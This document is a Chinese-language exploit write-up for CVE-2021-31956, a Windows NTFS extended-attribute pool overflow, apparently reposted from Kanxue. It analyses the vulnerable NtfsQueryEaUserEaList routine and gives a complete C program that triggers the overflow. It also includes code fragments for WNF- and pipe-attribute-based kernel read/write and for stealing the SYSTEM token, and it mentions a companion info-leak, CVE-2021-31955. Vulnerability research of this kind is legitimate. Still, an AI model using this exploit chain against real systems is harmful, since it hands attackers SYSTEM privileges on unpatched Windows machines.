https://dawnslab.jd.com/CVE-2021-31956/
https://bbs.kanxue.com/thread-271140.htm
NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。可以通过ZwSetEaFile为文件创建EA,ZwQueryEaFile查询文件EA。
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
一
漏洞成因
NT5.1泄露的源码
IO_STATUS_BLOCK
NtfsQueryEaUserEaList(
IN PFILE_FULL_EA_INFORMATION CurrentEas,
IN PEA_INFORMATION EaInformation,
OUT PFILE_FULL_EA_INFORMATION EaBuffer,
IN ULONG UserBufferLength,
IN PFILE_GET_EA_INFORMATION UserEaList,
IN BOOLEAN ReturnSingleEntry
)
/*++
Routine Description:
This routine is the work routine for querying EAs given a list
of Ea's to search for.
Arguments:
CurrentEas - This is a pointer to the current Eas for the file
EaInformation - This is a pointer to an Ea information attribute.
EaBuffer - Supplies the buffer to receive the full eas
UserBufferLength - Supplies the length, in bytes, of the user buffer
UserEaList - Supplies the user specified ea name list
ReturnSingleEntry - Indicates if we are to return a single entry or not
Return Value:
IO_STATUS_BLOCK - Receives the completion status for the operation
--*/
{
IO_STATUS_BLOCK Iosb;
ULONG GeaOffset;
ULONG FeaOffset;
ULONG Offset;
PFILE_FULL_EA_INFORMATION LastFullEa;
PFILE_FULL_EA_INFORMATION NextFullEa;
PFILE_GET_EA_INFORMATION GetEa;
BOOLEAN Overflow;
ULONG PrevEaPadding;
PAGED_CODE();
DebugTrace(+1, Dbg, ("NtfsQueryEaUserEaList: Enteredn"));
//
// Setup pointer in the output buffer so we can track the Ea being
// written to it and the last Ea written.
//
LastFullEa = NULL;
Overflow = FALSE;
//
// Initialize our next offset value.
//
GeaOffset = 0;
Offset = 0;
PrevEaPadding = 0;
//
// Loop through all the entries in the user's ea list.
//
while (TRUE) {
STRING GeaName;
STRING OutputEaName;
ULONG RawEaSize;
//
// Get the next entry in the user's list.
//
GetEa = (PFILE_GET_EA_INFORMATION)Add2Ptr(UserEaList, GeaOffset);
//
// Make a string reference to the name and see if we can locate
// the ea by name.
//
GeaName.MaximumLength = GeaName.Length = GetEa->EaNameLength;
GeaName.Buffer = &GetEa->EaName[0];
//
// Upcase the name so we can do a case-insensitive compare.
//
NtfsUpcaseEaName(&GeaName, &GeaName);
//
// Check for a valid name.
//
if (!NtfsIsEaNameValid(GeaName)) {
DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList: Invalid Ea Namen"));
Iosb.Information = GeaOffset;
Iosb.Status = STATUS_INVALID_EA_NAME;
return Iosb;
}
GeaOffset += GetEa->NextEntryOffset;
//
// If this is a duplicate name, then step over this entry.
//
if (NtfsIsDuplicateGeaName(GetEa, UserEaList)) {
//
// If we've exhausted the entries in the Get Ea list, then we are
// done.
//
if (GetEa->NextEntryOffset == 0) {
break;
}
else {
continue;
}
}
//
// Generate a pointer in the Ea buffer.
//
NextFullEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(EaBuffer, Offset + PrevEaPadding);
//
// Try to find a matching Ea.
// If we couldn't, let's dummy up an Ea to give to the user.
//
if (!NtfsLocateEaByName(CurrentEas,
EaInformation->UnpackedEaSize,
&GeaName,
&FeaOffset)) {
//
// We were not able to locate the name therefore we must
// dummy up a entry for the query. The needed Ea size is
// the size of the name + 4 (next entry offset) + 1 (flags)
// + 1 (name length) + 2 (value length) + the name length +
// 1 (null byte).
//
RawEaSize = 4 + 1 + 1 + 2 + GetEa->EaNameLength + 1;
if ((RawEaSize + PrevEaPadding) > UserBufferLength) {
Overflow = TRUE;
break;
}
//
// Everything is going to work fine, so copy over the name,
// set the name length and zero out the rest of the ea.
//
NextFullEa->NextEntryOffset = 0;
NextFullEa->Flags = 0;
NextFullEa->EaNameLength = GetEa->EaNameLength;
NextFullEa->EaValueLength = 0;
RtlCopyMemory(&NextFullEa->EaName[0],
&GetEa->EaName[0],
GetEa->EaNameLength);
//
// Upcase the name in the buffer.
//
OutputEaName.MaximumLength = OutputEaName.Length = GeaName.Length;
OutputEaName.Buffer = NextFullEa->EaName;
NtfsUpcaseEaName(&OutputEaName, &OutputEaName);
NextFullEa->EaName[GetEa->EaNameLength] = 0;
//
// Otherwise return the Ea we found back to the user.
//
}
else {
PFILE_FULL_EA_INFORMATION ThisEa;
//
// Reference this ea.
//
ThisEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(CurrentEas, FeaOffset);
//
// Check if this Ea can fit in the user's buffer.
//
RawEaSize = RawUnpackedEaSize(ThisEa);
if (RawEaSize > (UserBufferLength - PrevEaPadding)) {
Overflow = TRUE;
break;
}
//
// Copy this ea to the user's buffer.
//
RtlCopyMemory(NextFullEa,
ThisEa,
RawEaSize);
NextFullEa->NextEntryOffset = 0;
}
//
// Compute the next offset in the user's buffer.
//
Offset += (RawEaSize + PrevEaPadding);
//
// If we were to return a single entry then break out of our loop
// now
//
if (ReturnSingleEntry) {
break;
}
//
// If we have a new Ea entry, go back and update the offset field
// of the previous Ea entry.
//
if (LastFullEa != NULL) {
LastFullEa->NextEntryOffset = PtrOffset(LastFullEa, NextFullEa);
}
//
// If we've exhausted the entries in the Get Ea list, then we are
// done.
//
if (GetEa->NextEntryOffset == 0) {
break;
}
//
// Remember this as the previous ea value. Also update the buffer
// length values and the buffer offset values.
//
LastFullEa = NextFullEa;
UserBufferLength -= (RawEaSize + PrevEaPadding);
//
// Now remember the padding bytes needed for this call.
//
PrevEaPadding = LongAlign(RawEaSize) - RawEaSize;
}
//
// If the Ea information won't fit in the user's buffer, then return
// an overflow status.
//
if (Overflow) {
Iosb.Information = 0;
Iosb.Status = STATUS_BUFFER_OVERFLOW;
//
// Otherwise return the length of the data returned.
//
}
else {
//
// Return the length of the buffer filled and a success
// status.
//
Iosb.Information = Offset;
Iosb.Status = STATUS_SUCCESS;
}
DebugTrace(0, Dbg, ("Status -> %08lxn", Iosb.Status));
DebugTrace(0, Dbg, ("Information -> %08lxn", Iosb.Information));
DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList: Exitn"));
return Iosb;
}
Ntfs IDA
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, _FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 out_buf, __int64 a4, unsigned int out_buf_length, _FILE_GET_EA_INFORMATION *eaList, char a7)
{
int v8; // edi
unsigned int v9; // ebx
unsigned int padding; // er15
_FILE_GET_EA_INFORMATION *GetEa; // r12
ULONG v12; // er14
unsigned __int8 v13; // r13
_FILE_GET_EA_INFORMATION *curEaList; // rbx
unsigned int v15; // ebx
_DWORD *v16; // r13
unsigned int ea_block_size; // er14
unsigned int v18; // ebx
_FILE_FULL_EA_INFORMATION *ea_block; // rdx
char v21; // al
ULONG v22; // [rsp+20h] [rbp-38h]
unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
_DWORD *v24; // [rsp+28h] [rbp-30h]
struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREF
STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
unsigned int offest; // [rsp+A0h] [rbp+48h]
v8 = 0;
*a1 = 0i64;
v24 = 0i64;
v9 = 0;
offest = 0;
padding = 0;
a1[1] = 0i64;
while ( 1 )
{ // 索引ealist中的成员,用作下面的查找。
GetEa = (_FILE_GET_EA_INFORMATION *)((char *)eaList + v9);
*(_QWORD *)&DestinationString.Length = 0i64;
DestinationString.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&DestinationString.Length = GetEa->EaNameLength;
DestinationString.MaximumLength = DestinationString.Length;
DestinationString.Buffer = GetEa->EaName;
RtlUpperString(&DestinationString, &DestinationString);
if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )// 检查ealist中成员的name是否有效
break;
v12 = GetEa->NextEntryOffset;
v13 = GetEa->EaNameLength;
v22 = GetEa->NextEntryOffset + v9;
for ( curEaList = eaList; ; curEaList = (_FILE_GET_EA_INFORMATION *)((char *)curEaList + curEaList->NextEntryOffset) )// 遍历查询的EaList
{
if ( curEaList == GetEa )
{
v15 = offest;
v16 = (_DWORD *)(a4 + padding + offest);
if ( (unsigned __int8)NtfsLocateEaByName(// 根据name查找对应的Ea信息
ea_blocks_for_file,
*(unsigned int *)(out_buf + 4),
&DestinationString,
&v23) )
{
ea_block = (_FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
ea_block_size = ea_block->EaValueLength + ea_block->EaNameLength + 9;// 计算内存拷贝大小
if ( ea_block_size <= out_buf_length - padding )// 防溢出检查
// 两个uint32相减以后发生整数溢出绕过检查
{
memmove(v16, ea_block, ea_block_size);// 溢出点
*v16 = 0;
goto LABEL_8;
}
}
else
{
ea_block_size = GetEa->EaNameLength + 9;// 9=4(next entry offset)+1(flags)+1(name length)+2(value length)+1(null byte)
if ( ea_block_size + padding <= out_buf_length )
{
*v16 = 0;
*((_BYTE *)v16 + 4) = 0;
*((_BYTE *)v16 + 5) = GetEa->EaNameLength;
*((_WORD *)v16 + 3) = 0;
memmove(v16 + 2, GetEa->EaName, GetEa->EaNameLength);
SourceString.Length = DestinationString.Length;
SourceString.MaximumLength = DestinationString.Length;
SourceString.Buffer = (PCHAR)(v16 + 2);
RtlUpperString(&SourceString, &SourceString);
v15 = offest;
*((_BYTE *)v16 + GetEa->EaNameLength + 8) = 0;
LABEL_8:
v18 = ea_block_size + padding + v15;
offest = v18;
if ( !a7 )
{
if ( v24 )
*v24 = (_DWORD)v16 - (_DWORD)v24;
if ( GetEa->NextEntryOffset ) // 判断是ealist中是否还有其他成员
{
v24 = v16;
out_buf_length -= ea_block_size + padding;// 总长度减去已经拷贝的长度
padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;// padding的计算
goto LABEL_26;
}
}
LABEL_12:
a1[1] = v18;
LABEL_13:
*(_DWORD *)a1 = v8;
return a1;
}
}
v21 = NtfsStatusDebugFlags;
a1[1] = 0i64;
if ( v21 )
NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64);
v8 = -2147483643;
goto LABEL_13;
}
if ( v13 == curEaList->EaNameLength && !memcmp(GetEa->EaName, curEaList->EaName, v13) )
break;
}
if ( !v12 )
{
v18 = offest;
goto LABEL_12;
}
LABEL_26:
v9 = v22;
}
a1[1] = v9;
if ( NtfsStatusDebugFlags )
NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64);
*(_DWORD *)a1 = -2147483629;
return a1;
}
有一个检查确保ea_block_size小于或等于out_buf_length – padding。然后,out_buf_length会减去ea_block_size及其填充的大小。填充是通过((ea_block_size + 3) 0xFFFFFFFC) – ea_block_size来计算的。因为每个EA块应该填充为32位对齐。
假设文件的扩展属性中有两个扩展属性。
正常情况下:
EaNameLength = 5
EaValueLength = 4
ea_block_size = 9 + 5 + 4 = 18
padding = 0
第二次迭代:
out_buf_length = 30 - 18 + 0
out_buf_length = 12 // we would have 12 bytes left of the output buffer.
padding = ((18+3) 0xFFFFFFFC) - 18
padding = 2
EaNameLength = 5
EaValueLength = 4
ea_block_size = 9 + 5 + 4 = 18
18 <= 12 - 2 // is False.
整数溢出
第一个扩展属性:
EaNameLength = 5
EaValueLength = 4
第二个扩展属性:
EaNameLength = 5
EaValueLength = 47
EaNameLength = 5
EaValueLength = 4
ea_block_size = 9 + 5 + 4 // 18
padding = 0
18 <= 18 – 0 // is True and a copy of 18 occurs.
EaNameLength = 5
EaValueLength = 47
ea_block_size = 5 + 47 + 9
ea_block_size = 137
ea_block_size <= out_buf_length – padding
137 <= 0 – 2
查看NtfsQueryEaUserEaList函数的调用者NtfsCommonQueryEa,我们可以看到输出缓冲区是根据请求的大小在分页池上分配的。
// 为文件创建EA
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer,
[in] ULONG Length
);
// 查询文件EA
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, //扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)
[in] ULONG Length, //缓冲区大小
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, //指定需要查询的扩展属性
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex, //指定需要查询的起始索引
[in] BOOLEAN RestartScan
);
该漏洞对攻击者来说:
溢出拷贝时数据和大小均可控。
可以覆盖下一个内核池块。
内核池分配时大小可控,并且可以进行堆布局。
二
触发漏洞
#include <iostream>
#include <Windows.h>
#include <sddl.h>
#define PAYLOAD_SIZE 1000
#define TIGGER_EA_NAME ".PA"
#define OVER_EA_NAME ".PBB"
#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
#define OVER_STATEDATA_LENGTH 0x1000
#define OVER_EA_VALUE_LENGTH (0xf)
#define KERNAL_ALLOC_SIZE 0xae
#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef NTSTATUS(NTAPI* __ZwQueryEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan
);
typedef NTSTATUS(NTAPI* __ZwSetEaFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length
);
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;
__ZwQueryEaFile NtQueryEaFile = NULL;
__ZwSetEaFile NtSetEaFile = NULL;
UINT64 OVER_STATENAME = 0;
int main()
{
HMODULE hNtDll = NULL;
hNtDll = LoadLibrary(L"ntdll.dll");
if (hNtDll == NULL)
{
printf("load ntdll failed!rn");
return 0;
}
NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");
if (NtQueryEaFile == NULL ||
NtSetEaFile == NULL
)
{
printf("not found functionsrn");
return 0;
}
PFILE_GET_EA_INFORMATION EaList = NULL;
PFILE_GET_EA_INFORMATION EaListCP = NULL;
PVOID eaData = NULL;
DWORD dwNumberOfBytesWritten = 0;
UCHAR payLoad[PAYLOAD_SIZE] = { 0 };
PFILE_FULL_EA_INFORMATION curEa = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK eaStatus = { 0 };
NTSTATUS rc;
PISECURITY_DESCRIPTOR pSecurity = NULL;
PUCHAR pd = NULL;
int state = -1;
hFile = CreateFileA("payload",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("create the file failedrn");
goto ERROR_HANDLE;
}
WriteFile(hFile, "This files has an optional .COMMENTS EAn",
strlen("This files has an optional .COMMENTS EAn"),
&dwNumberOfBytesWritten, NULL);
curEa = (PFILE_FULL_EA_INFORMATION)payLoad;
curEa->Flags = 0;
curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;
curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;
//align 4。
curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');
curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
curEa->NextEntryOffset = 0;
curEa->Flags = 0;
curEa->EaNameLength = OVER_EA_NAME_LENGTH;
curEa->EaValueLength = OVER_EA_VALUE_LENGTH;
memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
pd = (PUCHAR)(curEa);
rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));
if (rc != 0)
{
printf("NtSetEaFile failed error code is %xrn", rc);
goto ERROR_HANDLE;
}
eaData = malloc(sizeof(payLoad));
if (eaData == NULL)
{
goto ERROR_HANDLE;
}
memset(eaData, 0, sizeof(payLoad));
EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
if (EaList == NULL)
{
goto ERROR_HANDLE;
}
EaListCP = EaList;
memset(EaList, 0, 100);
memcpy(EaList->EaName, ".PA", strlen(".PA"));
EaList->EaNameLength = (UCHAR)strlen(".PA");
EaList->NextEntryOffset = 12; // align 4
EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
EaList->EaNameLength = (UCHAR)strlen(".PBB");
EaList->NextEntryOffset = 0;
rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);
state = 0;
ERROR_HANDLE:
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
if (EaList != NULL)
{
free(EaListCP);
EaList = NULL;
}
if (eaData != NULL)
{
free(eaData);
eaData = NULL;
}
if (pSecurity != NULL)
{
free(pSecurity);
pSecurity = NULL;
}
return 0;
}
bu ntdll!NtQueryEaFile
bu Ntfs!NtfsQueryEaUserEaList
bu Ntfs!NtfsQueryEaUserEaList+0x19f
bu Ntfs!NtfsQueryEaUserEaList+0x1b2
三
漏洞利用
POOL_HEADER
struct POOL_HEADER
{
char PreviousSize; //之前的块的大小除以16
char PoolIndex; //PoolDescriptor数组中的索引
char BlockSize; //当前分配的大小除以16
char PoolType; //包含分配类型信息的位域
int PoolTag;
Ptr64 ProcessBilled ; //指向分配内存的进程的KPROCESS的指针,只有PoolType中包含PoolQuota标志时,才设置此字段。
};
使用的内存类型,可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx;
如果分配是关键的(bit 1)并且必须成功。那么当分配失败,就会触发BugCheck;
如果分配与缓存大小对齐(bit 2)
如果分配使用了PoolQuota机制(bit 3)
NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204h
NonPagedPoolSessionNx = 220h
四
相对偏移地址读写
WNF
WNF 利用相关文章:
https://docplayer.net/145030841-The-windows-notification-facility.html
https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html
struct _WNF_STATE_DATA
{
struct _WNF_NODE_HEADER Header;//0x0
ULONG AllocatedSize;//0x4 // 分配的内核池大小
ULONG DataSize;//0x8 // 当前数据大小
ULONG ChangeStamp;//0xc
};
typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
struct _WNF_NAME_INSTANCE
{
struct _WNF_NODE_HEADER Header;//0x0
struct _EX_RUNDOWN_REF RunRef;//0x8
struct _RTL_BALANCED_NODE TreeLinks;//0x10
struct _WNF_STATE_NAME_STRUCT StateName;//0x28
struct _WNF_SCOPE_INSTANCE* ScopeInstance;//0x30
struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;//0x38
struct _WNF_LOCK StateDataLock;//0x50
struct _WNF_STATE_DATA* StateData;//0x58
ULONG CurrentChangeStamp;//0x60
VOID* PermanentDataStore;//0x68
struct _WNF_LOCK StateSubscriptionListLock;//0x70
struct _LIST_ENTRY StateSubscriptionListHead;//0x78
struct _LIST_ENTRY TemporaryNameListEntry;//0x88
struct _EPROCESS* CreatorProcess;//0x98
LONG DataSubscribersCount;//0xa0
LONG CurrentDeliveryCount;//0xa4
};
typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp);
typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ const VOID * ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);
__int64 __fastcall ExpWnfReadStateData(__int64 nameinstance, _DWORD *CurrentChangeStamp, void *dest, unsigned int BufferSize, _DWORD *outbufsize)
{
volatile signed __int64 *v9; // rbx
__int64 v10; // rdi
_DWORD *StateData; // rdx
unsigned int DataSize; // eax
unsigned int v14; // [rsp+20h] [rbp-48h]
v14 = 0;
v9 = (volatile signed __int64 *)(nameinstance + 0x50);
v10 = KeAbPreAcquire(nameinstance + 0x50, 0i64, 0);
if ( _InterlockedCompareExchange64(v9, 17i64, 0i64) )
ExfAcquirePushLockSharedEx(v9, v10, v9);
if ( v10 )
*(_BYTE *)(v10 + 26) |= 1u;
StateData = *(_DWORD **)(nameinstance + 0x58);// StateData
if ( !StateData )
{
*CurrentChangeStamp = 0;
goto LABEL_11;
}
if ( StateData == (_DWORD *)1 )
{
*CurrentChangeStamp = *(_DWORD *)(nameinstance + 0x60);
LABEL_11:
*outbufsize = 0;
goto LABEL_13;
}
*CurrentChangeStamp = StateData[3];
*outbufsize = StateData[2];
DataSize = StateData[2];
if ( BufferSize < DataSize )
{ // length check on size here
v14 = -1073741789; // STATUS_BUFFER_TOO_SMALL
}
else
{
memmove(dest, StateData + 4, DataSize);
v14 = 0;
}
LABEL_13:
if ( _InterlockedCompareExchange64(v9, 0i64, 17i64) != 17 )
ExfReleasePushLockShared((signed __int64 *)v9);
KeAbPostRelease((ULONG_PTR)v9);
return v14;
}
五
任意地址读-1
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
typedef struct pipe_attribute {
LIST_ENTRY list;
char* AttributeName;
size_t ValueSize;
char* AttributeValue;
char data[0];
} pipe_attribute_t;
// 使指向下一个属性的指针在用户层
overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute;
AttributeName和AttributeValue是指向数据区不同偏移的两个指针。
同时在用户层,可以使用0x110038控制码来读取属性值。AttributeValue指针和AttributeValueSize大小将被用于读取属性值并返回给用户。
所以,控制Pipe_Attribute的List_next指针值,使其指向用户层的Pipe_Attribute,也就意味着用户层的PipeAttribute结构体的AttributeValue和AttributeValueSize字段我们可以任意指定,也就可以在内核中任意读取数据数据,即获得了一个任意地址读原语。
六
任意地址写-1
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
ULONGLONG eprocess = (ULONGLONG)tmp_name.CreatorProcess;
ULONG process_id_offset;
ULONG token_offset;
ULONG link_offset;
if (locate_exp_offset(eprocess, &process_id_offset, &token_offset, &link_offset))
goto die;
// we need locate process id offset
ULONGLONG token_addr = eprocess + token_offset;
UCHAR* begin_eprocess = eprocess;
while (1) {
ULONGLONG process_id;
ab_read(eprocess + process_id_offset, &process_id, 8);
if (process_id == 4) {
break;
}
UCHAR* tmp;
ab_read(eprocess + link_offset, &tmp, 8);
tmp -= link_offset;
if (tmp == begin_eprocess) {
break;
}
eprocess = tmp;
}
ULONGLONG token;
ab_read(eprocess + token_offset,&token, 8);
DEBUG("system token %016llxn", token);
wnf_name->StateData = (WNF_STATE_DATA*)(token_addr - 0x50);
*(ULONGLONG*)(write_buf + 0x40) = token;
mystatus = NtUpdateWnfStateData(&abwrite_st, write_buf, 0x48, 0, 0, 0, 0);
七
CVE-2021-31955
CVE-2021-31955漏洞是ntoskrnl.exe中的一个信息泄露漏洞。NtQuerySystemInformation 函数返回的 SuperFetch信息类SuperfetchPrivSourceQuery中包含当前执行的进程的EPROCESS kernel 地址。
https://github.com/freeide/CVE-2021-31955-POC
看雪ID:hml189
https://bbs.kanxue.com/user-home-865065.htm
# 往期推荐
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):Windows NTFS本地提权漏洞 CVE-2021-31956